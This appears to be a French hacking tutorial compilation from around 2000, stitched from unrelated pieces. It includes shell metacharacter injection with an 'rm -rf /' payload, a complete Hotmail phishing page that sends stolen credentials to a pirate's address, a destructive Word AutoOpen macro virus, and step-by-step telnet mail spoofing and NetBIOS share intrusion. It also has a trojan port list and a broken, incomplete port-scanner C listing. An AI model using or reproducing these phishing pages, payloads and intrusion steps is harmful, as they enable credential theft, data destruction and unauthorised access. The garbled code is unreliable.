Si vous avez acces a un repertoire en ecriture, et que un prog suid y stock des fichiers, alors vous pouvez profiter des permissions d'acces etendu pour effacer le fichier root, linker un fichier avec celui que vous avez effacer, et attendre qu'il soit creer a nouveau par le processus root, comme ca, avec le linkage le fichier vers lequel vous l'aurez link auparavent aura ete ecraser.... C'est ce qui se proquit lorsque l'on voit par exemple des fichiers root en chmod 777 dans /tmp. A chaque fois c'est une faille. Exemple :
$ find /tmp -user root -perm 777
/tmp/.font-unix/fs-1
/tmp/.X11-unix/X9
(...)
et voila, deja une faille de decouverte, ensuite en regardant des propriete etendu pour un simple user, on trouve d'autre repertoire comme .esd ( esound ) etc.... Vous avez du comprendre le principe de cette faille la, comme vous le voyez c'est simple de rechercher des faille, apres faut il qu'elle n'est pas ete deja ete decouverte =)

MetaCharacter :
Une autre grande source de faille est l'utilisation des MetaCharacters, ce qui est a l'origine de beaucoup de faille cgi, des failles de scripting associe a des bases de donnees comme Mysql et php par exemple. Ou meme des appels au shell. Par exemple si un programme vous demande votre prenom pour l'entrer dans une base de donnees, il va stocker votre nom dans une variable puis la passer en argument a la base de donnees via le shell. Par exemple si je rentre "sauron", il execute "mysql assuser sauron" ( j'invente la commande mais ca revient a ca en somme ). Le shell Unix separe des commandes par le Metacharacter ";" si je rentre comme prenom : "sauron;rm -rf /"; la commande qui sera passer pour ajouter mon prenom sera : mysql adduser sauron;rm -rf / , soit deux commandes en une lignes donc une de nos commandes. Ensuite celon les privileges du programme que vous exploitez pour le forcer a faire vos commandes en plus vous aurez un acces plus ou moins grand. La meme chose peut se produire lors de l'appel d'un programme par une application telle que un client irc. Je pense a xchat qui appelle pleins de navigateurs avec en argument les url balancer sur un forum de discussion. Si vous balancez une url de type www.monsite.org;rm%20-rf%20~ ( les %20 remplacent les espaces ), et que l'utilisateur de xchat veut visiter ce site avec netscape en mode "Nex Windows", alors la commande passer au shell sera :
netscape <url> et comme votre url contient le metacharacter ; ce qui suit sera executer comme une seconde commande...
Les nouvelles versions de xchat ne sont pas vulnerable mais de toute facon le but etait seulement de vous initier au faille que peuvent constituer l'utilisation de metacharacters.

La plupart des internautes ont les même mots de passe pour leur compte mail et leur site Web. Les pirates profitent parfois de cette faille de sécurité. Alors les pirates crééent un compte mail pas trop voyant (style : hotmail_staff@caramail.com), et envois ensuite le code html qui suit en mail, ce qui recréra l'interface de HOTMAIL et manipulera l'internaute qui reçoit le mail. L'internaute rentrera donc son login et son mot de passe et tout cela sera immédiatement expédié au pirate auteur du mail. (En rouge se trouve l'adresse e-mail du pirate)

<html><head></head>
<body bgcolor="#ffffff" link="#000099" vlink="#000099">
<table border=0 cellpadding=5 cellspacing=5 width=508 height=90%>
<tr valign=middle><th colspan=2>
<font face="Arial, Helvetica" size="5">We're Sorry, We Cannot<br>
Process Your Request</font>
</th></tr>
<tr valign=middle><td align=center>
<font face="Arial, Helvetica" size="3">Reason: </font>
<font face="Arial, Helvetica" size="3" color="#ff0000"><b>Time expired for your account. Please
re-login.</b></font><br>
</td></tr>
<tr valign="middle"><td align="center">
<FORM METHOD="POST" NAME="hotmail"
ACTION="http://www.univox.com/cgi-bin/mail/Mail.cgi"
target="_parent">
<INPUT TYPE="hidden" NAME="recipient"
VALUE="pirate@piratage.com">
<INPUT TYPE="hidden" NAME="subject" VALUE="Hotmail Password">
<INPUT TYPE="hidden" NAME="return_link_url"
VALUE="http://www.hotmail.com/cgi-bin/start/">
<table cellpadding="0" cellspacing="5" border="0">
<tr><td><font face="Arial, Helvetica" size="2">Login
Name:</font><br><input
type="text" name="login" size="16" maxlength="16"></td><td><font
face="Arial,
Helvetica" size="2">Password:</font><br><input type="password"
name="passwd"
size="16" maxlength="16"> <input type="submit"
value="Enter"></td><tr>
</table></FORM></td></tr>
<tr valign=middle><th colspan=2 align=center>
<font face="Arial, Helvetica" size="3">Return to <a
href="http://www.hotmail.com"
target="_parent">Hotmail's Homepage</a>.
</font></th></tr></table>
<font size=2 color=black>1996-1999. Hotmail© all rights reserved.</font>

Bien sûr ce code source peut être remanié et ainsi un pirate peut essayer d'obtenir les mots de passe de n'importe quel internaute, qu'il soit sur Free, AOL, etc... Cette astuce toute simple doit être retouchée car à ce jour Hotmail à pris les mesures nécessaires pour contrer cette manipulation du code source, mais gageons qu'un pirate ayant quelques connaissances en html n'aura pas de problème pour réitérer ce type de piratage.

A scanner les ports, il peut être utilisé sur un système Unix.
Pour les lamahs, "Ce n'est pas parce que vous reprenez le source et mettez votre nom dessus que vous êtes l'auteur de cet outil, la source est mise à disposition pour étudier en profondeur de quelle façon il fonctionne, quelles traces il pourrait laisser sur les disques attaqués"
Aussi, l'auteur de ce programme n'est pas un hacker, donc ne lui écrivez pas pour lui demander des trucs sur le hack.

/*
* ident-scan [v0.15]
* This TCP scanner has the additional functionality of retrieving
* the username that owns the daemon running on the specified port.
* It does this by by attempting to connect to a TCP port, and if it
* succeeds, it will send out an ident request to identd on the
* remote host. I believe this to be a flaw in the design of the
* protocol, and if it is the developers intent to allow 'reverse'
* idents, then it should have been stated clearer in the
* rfc(rfc1413).
*
* USES:
* It can be useful to determine who is running daemons on high ports
* that can be security risks. It can also be used to search for
* misconfigurations such as httpd running as root, other daemons
* running under the wrong uids.
*
* COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x.
*
* Dave Goldsmith
* <daveg@escape.com>
* 02/11/1996
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

void
usage(error)
enum errlist error;
{
fprintf(stderr,"ident-scan: ");
switch(error)
{
case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] [hi port]\n");
break;
case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
break;
case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
break;
case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
break;
}
exit(-1);
}

if ((host=gethostbyname(machine))==NULL)
{
if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
return(host);
}
return(host);
}

int
main(argc,argv)
int argc;
char **argv;
{
struct sockaddr_in forconnect,forport,forident;
int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
struct servent *service;
struct hostent *host;
char identbuf[15], recieved[85], *uid;

if ((argc<2) || (argc>4))
usage(BAD_ARGS);
if (argc>2)
loport=atoi(argv[2]);
if (argc>3)
hiport=atoi(argv[3]);
if ((host=fill_host(argv[1],host))==NULL)
usage(BAD_HOST);
forconnect.sin_family=host->h_addrtype;
forconnect.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_family=host->h_addrtype;
forident.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_port=htons(113);

if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
usage(NO_IDENT);
close(identfd);

for(curport=loport;curport<=hiport;curport++)
{
for(i=0;i!=85;i++)
recieved[i]='\0';
forconnect.sin_port=htons(curport);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);

if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==0)
{
if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
{
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))==
{
sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
htons(forport.sin_port));

write(identfd,identbuf,strlen(identbuf)+1);
read(identfd,recieved,80);
recieved[strlen(recieved)-1]='\0';
uid=strrchr(recieved,' ');
service=getservbyport(forconnect.sin_port,"tcp");
printf("Port: %3d\tService: %10s\tUserid: %s\n",curport,
(service==NULL)?"(?)":service->s_name,uid);
}
}
}
close(sockfd);
close(identfd);
}
}

Voici une liste de virus et leurs effets pour que vous voyez ce qui risque d'arriver à votre pc si vous ne faites pas attention :

Remarque : il est évident que cette partie est incomplète, pour preuve: il sort en moyenne 100 virus par mois, donc cette liste ne sert qu'à vous donnez un aspect global des fonctionnalités des différents virus.

- Virus de fichier, ou virus à action directe : Ces virus ajoutent leur code à celui de fichiers executables (avec l'extension .EXE, .COM, .SYS, etc)

-Virus résidents : Ces virus se chargent en mémoire centrale et, de là, contaminent d'autres programmes.

- Virus du secteur d'amorce des disques : Ces virus remplace l'amorce d'un disque par leur propre code, déplacant cette amorce sur le disque et se chargent ensuite en premier en mémoire centrale, dés les premiers accés aux disques. De là, il rendent inutilisable le disque d'amorçage ou se propagent à d'autre disque où ils commettent alors leurs Payload. (en englais action /méfait)

-Virus furtifs : Voici une catégories de virus qui échappe à toutes détection en se camouflant. Il faut savoir qu'une méthode de détection classique des virus triviaux consiste à enregistrer la longeur d'un programme. Lorsqu'un virus frappe ce dernier, il ajoute son propre code ce qui par conséqunt accroît la taille du fichier infecté. Or, un virus furtif, lui, s'arrange pour qu'on lise toujours la même longeur pour le fichier contaminé. Si vous lancez un Dir (sous Dos) par exemple, le virus détourne cette demande, effectue un petit calcul et hop! affiche la taille initial du fichier non contaminé. (pas con la petite bête ! ..)

- Virus cryptés : Les virus cryptés sont encore plus vicieux. Ils modifie leur popre code par cryptage (XOR en assembleur pour les connaisseurs). Il existe des multitudes de moteur de cryptage dont le plus connus est le MTE (Mutation Engine) de Dark Avenger.

- Virus polymorphe ou mutant : Ces derniers sont encore plus malin car ils modifient leurs propre signature à chaque contamination. En effet, il faut savoir que les Anti-Virus recherche en priorité les signatures des virus, c'est à dire les chaînes de caractères qui lui sont propres. Et là, héhé ils sont pas dans la merde moi je vous le dis.

- Virus pièges : Le virus piège associe un virus connu à un virus encore inconnu. Vous détectez le premier et, tout happy vous l'éliminez en le détruisant, mais le secon lui subsiste. (Nice shot !)

- Rétrovirus : Le rétrovirus est un virus spécialement créé pour contrer et déjouer les fonctions d'un logiciel antivirus donné. Connaissant le mode d'action de cet antivirus, il le contre et déjoue ses pièges.

Ce n'est pas très difficile, sur IRC, il y a juste à taper la commande /dns pseudo (remarque : des personnes auraient eu du mal a effectuer cette commande dernièrement, il se pourrait que les mesures aient été prises sur irc pour contrer cela.) et à aller voir dans "Status". Si le connecté a omis de cacher celle-ci, elle apparaîtra, si ce n'est pas le cas c'est le nom de serveur qui apparaît, par ex: PPP-215-48-infonie.fr. Alors il faut ouvrir une fenêtre MS-DOS et taper la commande suivante : ping -a PPP-215-48-infonie.fr alors apparaît son adresse IP. Sur ICQ, aller dans liste de contacts, cliquer sur le pseudo puis sur info, si l'utilisateur a caché son IP il apparaît dans le champs prévu à cet effet N/A. Dans ce cas, laisser la fenêtre "info" ouverte, mettre ICQ sur "off line" fermer la fenêtre "info" recliquer sur le pseudo réouvrir la fenêtre "info" et là son IP devient visible. Il existe aussi des crackers ou des sniffers pour icq qui ont la même fonction.

La victime veut se procurer un programme qui fait que sa connection internet lui reviendra moins chere ou autre, et bien sûr le pirate "l'a". Seul probleme, pour que ce programme marche, il faut voir si son pc est bien configuré, donc le pirate lui demande d'aller dans démarrer puis dans exécuter et de taper winipcfg. Ensuite il lui demande de lui donner les numéros qui s'affichent. Bien sûr la discussion ne se limite pas à ça et cela peut durer une demi-heure avant que la victime ne le fasse, mais un pirate arrivera toujours à persuader sa victime.

Il faut déjà avoir son e-mail. Ensuite, envoyer par un serveur de mails gratuits (Yahoo, Caramail...) et faire en sorte que l'internaute réponde, si possible très vite, et par le biais lui aussi d'un serveur de type yahoo ou caramail. Sans se méfier, l'internaute va donc répondre. Aprés le texte de sa réponse, doivent normalement figurer quelques lignes en anglais. La premiére de ces lignes est l'adresse IP de la personne.

Une macro est un mini programme intégré dans un document word. Ces programmes sont écris en Visual Basic et très simple a réaliser. Le pirate crée un nouveau document Word, l'enregistre et clique sur outils, macro, macro, ok? Tout d'abord, le programme doit contenir comme première ligne sub "AutoOpen " qui permettra de lancer le programme automatiquement au chargement du fichier word. Comme dernière ligne, il devra contenir "sub viewvbcode " puis directement "end " a la ligne suivante, c'est pour rendre la macro invisible. La programmation ressemble de loin à du Q-Basic avec des commandes qui diffèrent légèrement.

Voici un exemple de programme commente (les commentaires sont précède d'une " ' " ) :

sub autoOpen ()''macrovirus
'macro enregistree le 0/0/00 par tRaSH'
msgBox "voici une macro " 'affiche l'avertissement "voici une macro "
kill "c : \*. doc " 'detruit tous les fichiers doc present dans la racine
msgBox " systeme bloque ", SystemModal + vbOKCancel " 'affiche 'l'avertissement
" systeme bloque " et 'bloque tout le
systeme tant que l'on n'a 'pas clicke sur ok ou annuler
num = int(rnd * 10) 'tire un nombre au hazard compris entre 1 et 20
msgBox num 'affiche le nombre tire au hasardendOn peut faire mieux :
Sub autoOpen ()Num = int(rnd * 10)If num = 6 then kill "c : \*. * "
Else msgBox "tu as de la chance… "End

Ce programme est une sorte de casino de la mort, a ne surtout pas envoyer à des personnes non averties.

Ici on va parler de faux mails, ce qui tient à dire un mail anonyme. Pour envoyer un mail anonyme, les pirates n'ont besoin que de Telnet qui est disponible sur tous les PC (si vous ne trouvez pas Telnet, car vous l'avez c'est sûr, tapez recherche "telnet"). Alors, d'abord, il vous faut savoir qu'un courrier anonyme est tout à fait légal, car comme tout textes, il est légal. C'est le contenu de ce que l'on pourrez mettre à l'intérieur qui est illégal. Tel que la diffamation, la menace, le harcèlement, etc... Mais un pirate a beau envoyez des mails anonymes, il n'en est pas moins détectable pour autant. Lors de l'envoi du mail par telnet, l'IP est glissé insudueusement parmis les informations du mail (AOL permet d'alleurs de repérer facilement la véritable provenance d'un mail). Cependant en passant par un anonymyzer, ou une série de proxy, le pirate se rend à 99 % indétectable.

1°) Le pirate va ouvrir Telnet, aller dans préférences, cocher les cases écho local, VT 100/ANSI et zone tampon non inferieur à 25. Voilà son Telnet est configuré.

2°) Il se connecte en faisant : Connection, système distant. Dans nom de l'hote, il tape le nom d'un serveur permettant d'envoyer du courrier (ex: Worldnet). Dans port, il précise 25. Dans type de terminal, il met vt 100. Et enfin il se connecte avec connecter.

5°) Il Entre ensuite comme suit le nom du destinataire : RCPT TO: <destinataire@yahoo.fr> (par exemple)

7°) Il entre son message et le serveur lui confirmera que son mail à été envoyé

Comme vous pouvez le constater, il n'y a vraiment rien de bien compliqué à envoyer un faux mail.

Depuis que NT 3.51 existe (cette commande marche aussi avec les nouvelles versions de windows), Microsoft a implementé des commandes permettant de communiquer avec d'autres PC, tout ça juste avec un driver pour votre carte réseau, le protocole NETBEUI d'installé, et le tout en ligne de commande, ce qui permettait de réaliser des installations distance par exemple. C'est d'ailleurs encore beaucoup utilisé, une simple disquette de boot et vous pouvez installer plein de postes. Ce protocole NETBEUI, reposant sur NETBIOS, vous permet entre autres de partager des ressources sur le réseau à condition d'avoir installé‚ le client "Client pour le réseaux Microsoft", et d'avoir activé l'option "Permettre d'autres utilisateurs d'utiliser mes fichiers". Dans ce cas, vous pourrez alors voir ce qui est partagé dans le fameux Voisinage réseau de Partageur 95 ou de NT 4. Certains d'entre vous qui sont en train de lire ceci, se disent : "Arfff le con, il sait même pas que Internet ça repose sur les protocoles TCP/IP et pas NETBEUI". Et là, je vous réponds : "Je sais mon enfant, mais il existe une passerelle !!". "Une passerelle ? Entre NETBEUI et TCP/IP ?? Je le crois pas ? C'est pas possible ???" me répondrez vous !! Et pourtant si !! Microsoft ne pouvait pas se permettre d'interdire ce type de passerelle, car tous les réseaux Internet utilisent TCP/IP, et il fallait un moyen de convertir les noms de machines sous NETBEUI en adresse IP. C'est ce que fait le fichier LMHOST dans votre répertoire WINDOWS. Logiquement, si vous regardez maintenant, il n'existe pas, mais en revanche vous devez avoir un LMHOSTS.SAM qui traîne, qui est un fichier d'exemple. Allez donc y jeter un coup d'oeil... Donc vous avez compris, avec LMHOST, on peut donc aller voir les ressources partagées de quelqu'un, à partir du moment qu'on connait son IP, le nom de sa machine et ses ressources partagées. Et il faut aussi qu'il ait des ressources partagées évidemment, mais ça faut pas être polytechnicien pour le comprendre. Vu comme ça, ça fait beaucoup de choses à savoir, mais pas tant que ça en fin de compte, pour avoir ces renseignements, voici comment les pirates font...

Première chose, trouver l'IP. Là, rien de plus facile, le pirate repère l'IP ou l'adresse de la victime sur IRC par exemple. Si c'est l'IP numérique du type 123.123.123.123, pas de problème, si c'est en revanche une adresse du genre marcel@routeur.domaine.com, il fait : PING -a routeur.domaine.com et il aura son IP. Le processus est enclenché.

Maintenant, le pirate doit obtenir le nom d'ordinateur de la personne dont il veut voir le disque dur. Pour cela, il y a la fonction NBTSTAT qui permet de voir l'état d'un adapteur réseau, et les infos le concernant. Le pirate tape donc (Dans Ms-Dos, il ouvre donc une fenêtre dos...) : NBTSTAT -A 127.127.127.127 (<<IP de la victime).

Si la cible a NETBEUI d'installé, il pourra voir s'afficher : C:\>NBTSTAT -A 194.114.95.141 NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- MAURO <00> UNIQUE Registered MICA <00> GROUP Registered MAURO <03> UNIQUE Registered MAURO <20> UNIQUE Registered MICA <1E> GROUP Registered MAC Address = 44-45-53-54-00-00 (Si c'est écrit "HOST NOT FOUND", le pirate change de cible car celle-ci n'a pas NETBEUI d'installé.) Ce qui l'intéresse c'est les noms avec écrit UNIQUE à côté. Sa cible utilise forcément l'un de ces noms de machines en ce moment même !! Et c'est là qu'intervient LMHOSTS. Il édite LMHOSTS avec EDIT (dans une fenêtre Ms-Dos, il tape "edit") par exemple, et tape dans ce fichier : 194.114.95.141 MAURO #PRE Donc, l'IP, suivi du nom de machine, suivi de #PRE, pour indiquer que cette correspondance entre l'IP et le nom de machine doit être préchargé, pour ainsi passer AVANT la résolution DNS. Ensuite, il va réinitialiser son fichier LMHOSTS qu'il vient juste de sauvegarder. Pour cela, il tape : C:\>NBTSTAT -R Et si tout se passe bien, il voit : "Successful purge and preload of the NBT Remote Cache Name Table." Maintenant, il va s'occuper de chercher les ressources partagées par sa victime. Pour voir les ressources, il tape NET VIEW, VIEW comme "voir" en anglais, remarquez comme les choses sont bien faites. Donc, ça doit donner : NET VIEW \\MAURO (MAURO car là il passe sur le protocole NETBEUI, LMHOSTS va se charger de convertir le nom de machine en IP) Et hop, dans mon exemple, ça donne ça : C:\>NET VIEW \\MAURO Ressources partagées … \\MAURO Nom de partage Type Commentaire --------------------------------------------------- C Disque D Disque E Disque HP4L Impr. G Disque I Disque Exécution achevée. Le pirate sait alors que tous ces lecteurs sont partagés. Parfait pour lui, il va donc aller faire un tour sur le C: . La commande NET arrive à sa rescousse : C:\>NET USE \\MAURO\C K: Connect‚ … \\MAURO\C Et voilà…, le disque C de la cible est devenu le disque K du pirate.

Ce grand classique ne marche vraiment pas souvent et pour s'en protéger il suffit juste de vérifier que son partage de fichiers n'est pas activé.

Port - Protocole - Trojan
2 - Death
21 - TCP - BackConstruction 1.2/1.5/2.1
TCP - Blade Runner 0.80a
Doly
Fore
TCP - FTP Server
TCP - Invisible FTP
Larva
MailBombTrojan (MBT)
Motiv
TCP - Senna Spy FTP Server 1.0
Web Ex
WinCrash
23 - TCP - Tiny Telnet Server
tRuVa Atl
25 - Ajan
TCP - Antigen
TCP - Barok 1.0/2.0
TCP - Email Password Sender 1.07 (EPS)
Gip
TCP - Haebu Coceda (Naebi 2.19)
Happy99
TCP - Kuang 2
Magic Horse
Moscow Mail
NewApt
ProMail trojan
TCP - Shtirlitz
StealthSpy
Tapiras
Terminator
WinPC
WinSpy
31 - TCP - Agent 31 (Plugin Master's Paradise)
41 - TCP - Deep Throat 3.0
48 - TCP - DaRaT's Remote Admin Tool
50 - DaRaT's Remote Admin Tool
59 - DMSetup
79 - Firehotcker
80 - Back End
Hooker
RingZero
TCP - SeEK EXECUTER
TCP - SeEK EXECUTOR
99 - Hidden Port
110 - ProMail trojan
113 - Invisible Identd Deamon
Kazimas
119 - Happy99
121 - Back Orifice JammerKillahV 1.2
123 - Net Controller
133 - Farnaz
Infector
146 - UDP - Infector
170 - A-trojan
421 - TCP - TCP Wrappers
456 - Hackers' Paradise
531 - Rasmin
555 - TCP - iNi-Killer
NeTAdministrator
TCP - phAse zero 1.0
TCP - Stealth Spy Beta 3
666 - TCP - Attack FTP
TCP - Back Construction 2.1
TCP/UDP - BLA 5.01/5.03
Cain And Abel
NokNok
TCP - Satanz Backdoor (SBD)
TCP - Server-U
ShadowPhyre
667 - SniperNet
669 - DP Trojan
692 - GayOL
777 - AIM Spy
808 - WinHole
911 - Dark Shadow
999 - TCP - Deep Throat 3.0
WinSatan
1000 - Der Spaeher 3.0
1001 - Der Spaeher 3.0
Le Guardien
TCP - SK Silencer
Web Ex
1010 - Doly
1011 - TCP - Doly
1012 - Doly
1015 - Doly
1016 - Doly
1020 - Vampire 1.2
1024 - TCP - NetSpy
1025 - TCP/UDP - BLA 1.0
1033 - TCP - NetSpy
1042 - BLA 1.1
1045 - Rasmin
1050 - MiniCommand
1080 - WinHole
1081 - WinHole
1082 - WinHole
1083 - WinHole
1090 - Xtreme
1099 - BFevolution
1170 - Psyber Streaming Server
TCP - Streaming Audio trojan
1200 - UDP - NoBackO
1201 - UDP - NoBackO
1207 - SoftWAR
1212 - Kaos
1225 - Scarab
1234 - TCP - Ultors Telnet Trojan
1243 - BackDoor-G
TCP - SubSeven 1.0/1.8/Apocalypse
Tiles
1245 - Gaban BUS
VooDoo Doll
1255 - Scarab
1256 - Project nEXT
1269 - Maverick's Matrix
1313 - NetTrojan
1349 - UDP - Back Orifice DLL
1492 - TCP - FTP99cmp
1509 - TCP - Psyber Streaming Server
1514 - TCP - Voice
1524 - Trinoo
1600 - TCP - Shivka-Burka 02 Beta
1730 - Kuang 2 The Virus
1777 - Scarab
1807 - SpySender
1966 - Fake FTP
1969 - OPC20 (OPC BO)
1981 - TCP - ShockRave
1999 - TCP - BackDoor 1.00/1.03/2.0
TransScout
2000 - Der Spaeher 3.0
TCP - Insane Network /5
TransScout
2001 - Der Spaeher 3.0
TCP - The Trojan Cow
TransScout
2002 - TransScout
2003 - TransScout
2004 - TransScout
2005 - TransScout
2023 - TCP - HackCity Ripper Pro
2080 - WinHole
2115 - TCP Bugs
2140 - UDP Deep Throat
TCP - Deep Throat 1.0
The Invasor
2155 - Illusion Mailer
2283 - HVL RAT 5.x
2300 - Xplorer
2565 - TCP - Striker
2583 - TCP - WinCrash 2.0
2600 - TCP - Digital RootBeer
2716 - Prayer Trojan 1.2
2801 - UDP - Phineas Phucker
2989 - UDP - R.A.T
3000 - Remote Windows Shutdown
3024 - WinCrash
3128 - RingZero
3129 - Master's Paradise
3149 - UDP - Master's Paradise
3150 - UDP - Deep Throat
The Invasor
3456 - Terror Trojan
3459 - EclYpse 2000
Sanctuary
3700 - Portal of Doom
3791 - EclYpse 1.0 Beta (connecté FTP)
3801 - UDP - EclYpse 1.0 Beta
4000 - Skydance
4092 - WinCrash
4242 - Virtual Hacking Machine (VHM)
4321 - TCP - BO-BO 1.0 Beta Final
4444 - Prosiak
Swift remote
4567 - TCP - File Nail 1
4836 - ButtMan 0.9n (Connecté)
4837 - ButtMan 0.9n (Connecté)
4950 - TCP - ICQTrojan
5000 - TCP - BackDoor
TCP - Bubbel
TCP - Sockets de Troie 1.0/1.1
5001 - TCP - BackDoor (Setup)
TCP - Sockets de Troie 1.0/1.1/2.3/2.5
5010 - Solo
5011 - One Of The Last Trojans (OOTLT)
5031 - Net Metropolitan (NetMetro)
5321 - TCP - Firehotcker
5343 - WC Remote Administration Tools (wCrat)
5400 - TCP - BackConstruction 1.2/1.5
TCP - Blade Runner
5401 - TCP - BackConstruction 1.2/1.5/2.1
Blade Runner 1.x
5402 - TCP - BackConstruction 2.1
Blade Runner 2.x
5512 - Illusion Mailer
5550 - TCP - XTCP
5555 - ServeMe
5556 - Back Orifice Facil
5557 - Back Orifice Facil
5569 - Robo-HacK 1.2
5637 - PCrasher
5638 - PCrasher
5742 - TCP - WinCrash 1.03
5882 - UDP Y3K RAT
5888 - Y3K RAT
6000 - The Thing
6006 - The Thing
6272 - Secret Service (Digital Cyber Hackers)
6400 - TCP - The Thing
6667 - Schedule Agent
6669 - TCP - Host Control 1.0
TCP - NetBus Pro
Vampire 1.0
6670 - BackWebServer
TCP - Deep Throat 2.0
WinNuke eXtreame
6711 - TCP - SubSeven
6712 - Funny Trojan
6723 - Mstream
6771 - Deep Throat
6776 - 2000 Cracks
BackDoor-G
TCP - SubSeven
6838 - UDP - Mstream
6883 - TCP - Delta Source
6912 - Shit Heep
6939 - Indoctrination
6969 - TCP - GateCrasher 1.1/1.1 Final
IRC 3
Net Controller
Priority
6970 - TCP - GateCrasher 1.2
7000 - Kazimas
Remote Grab
7001 - Freak88
7300 - NetMonitor
7301 - TCP - NetMonitor 1.x
7306 - NetMonitor 2.x
7307 - NetMonitor 3.x
7308 - NetMonitor 4.x
7789 - TCP BackDoor (Setup)
TCP - icKiLLeR
8080 - RingZero
8897 - HackOffice
8988 - BacHack
TCP - NetBus 2.0 Pro Picture
8989 - Rcon
9400 - In Command
9872 - Portal of Doom
9873 - Portal of Doom 1.x
9874 - Portal of Doom 2.x
9875 - Portal of Doom 3.x
9876 - Cyber Attacker
RUX
9878 - TransScout
9989 - TCP - iNi-Killer Pro 2.0
10067 - UDP - Portal of Doom 4.x
10085 - Syphillis
10101 - Brain Spy
10167 - UDP - Portal of Doom 5.x
10520 - Acid Shivers
10607 - TCP - Coma 1.0.9
TCP - Frenzy
10666 - UDP - AMBUSH 1.0
11000 - TCP - Senna Spy
11223 - TCP - Progenic Mail Trojan
12076 - TCP - Gjamer
12223 - TCP - Hack´99 KeyLogger
12345 - Gaban BUS
TCP - NetBus 1.20/1.53/1.60/1.70/Picture
12346 - Gaban BUS
TCP - NetBus 1.x
12349 - TCP - BioNet
12361 - TCP - NetBus 1.53 Whack-A-Mole
12362 - TCP - NetBus 1.53 Whack-A-Mole
12624 - TCP - ButtMan 0.9n
12631 - TCP - NetBus 1.70 WhackJob
13000 - TCP - Senna Spy
13010 - Hacker Brazil
13473 - TCP - Chupacabra
16660 - Stacheldracht
16969 - TCP - PRIORITY Beta
TCP - SK Silencer 1.0.0
17300 - Kuang 2 The Virus
17777 - Nephron
18753 - UDP - Shaft
20000 - TCP - Millennium 1.1
20001 - TCP - Millennium 1.0
20002 - AcidkoR
20034 - TCP - NetBus 2.0 Pro Beta/2.01 Pro/2.10 Pro
TCP - NetRex
20043 - TCP - NetBus 2.0 WhackJob
20203 - Logged
20331 - BLA
21212 - Schwindler 1.82
21544 - Kidterror
WinSp00fer
21554 - TCP - GirlFriend 1.0 Beta/1.35
22222 - TCP - Prosiak 0.47
23456 - TCP - BLA 5.01/5.03
TCP - EvilFTP
TCP - NetBus WhackJob
TCP - Ugly FTP
23457 - TCP - BLA 5.01/5.03
23476 - TCP - Donald Dick 1.55
23477 - Donald Dick
26274 - TCP/UDP - Delta Source 0.80 Beta
26681 - Spy Voice
29891 - UDP - The Unexplained
30029 - AOL Admin 1.1
30100 - TCP - NetSphere 1.27a
30101 - TCP - NetSphere 1.27a
30102 - TCP - NetSphere 1.27a
30129 - Master's Paradise
30303 - TCP - Sockets de Troie 2.3
30999 - Kuang 2
31336 - UDP Back Orifice Whack
ButtFunnel
31337 - BackFire
Back Orifice Facil
UDP - Back Orifice Picture
UDP - Back Orifice Khaled
Baron Night
UDP - DeepBO (Plugin Back Orifice)
TCP - NetPatch
31338 - TCP - NetSpy DK
Back Orifice
31339 - TCP - NetSpy DK
31666 - Back Orifice Whack
31785 - TCP - Hack´a´Tack
31787 - Hack´a´Tack
31788 - Hack´a´Tack
31789 - UDP - Hack´a´Tack
31791 - UDP - Hack´a´Tack
31792 - Hack´a´Tack
32100 - Peanut Brittle
32418 - Acid Battery
33333 - TCP - Blackharaz 1.0
Prosiak
33911 - Trojan Spirit 2001a
34324 - TCP - Big Gluck
Tiny Telnet Server
TN
40412 - The Spy
40421 - Agent 40421 (Plugin Master's Paradise)
TCP - Master's Paradise 9.5
40422 - TCP - Master's Paradise 1.x
40423 - TCP - Master's Paradise 2.x
40425 - TCP - Master's Paradise
40426 - TCP - Master's Paradise 3.x/9.9d
41666 - UDP - Remote Boot
47262 - UDP - Delta Source
50505 - TCP - Sockets de Troie 2.3
50766 - TCP - Fore
Schwindler
51996 - Cafeini
52317 - Acid Battery 2000
53001 - Remote Windows Shutdown
54320 - UDP - Back Orifice 2000
54321 - UCP - Back Orifice 2000
TCP - SchoolBus
60000 - Deep Throat
60068 - Xzip
60411 - Connection
61348 - Bunker-Hill
61466 - TCP - Telecommando
65000 - TCP - Devil 1.03

Beaucoup d'organisations (au sens large) ouvrent un site web pour avoir une sorte de vitrine sur l'Internet où elles peuvent exposer leurs produits, activités, etc ... Une nouvelle sorte de piratage consiste à entrer illégalement sur le serveur web et à modifier les pages existantes. C'est un peu comme entrer dans un magasin et changer les choses exposées. Dans tous les cas, quand un site est piraté, la nouvelle page remplacée n'est pas pour promouvoir l'activité du propriétaire. Plusieurs exemples suivent pour illustrer ce nouveau problème.

- Le 29 décembre 1996, un hacker a attaqué un site web de l'US Air Force et a remplacé la page principale par des images à caractère pornographique. Le résultat a été que le "DefenseLINK" du pentagone, qui inclue environ 80 homepages, a été débranché pendant plus de 24 heures pour que les officiels s'assurent qu'il n'y avait pas d'autres brêches de sécurité sur le système. Cette attaque a abîmé l'image de l'US Air Force en montrant que ses systèmes informatiques n'étaient pas vraiment sûrs. De plus, cette administration a dépensé une somme d'argent non négligeable pour vérifier l'intégrité de ses fichiers.

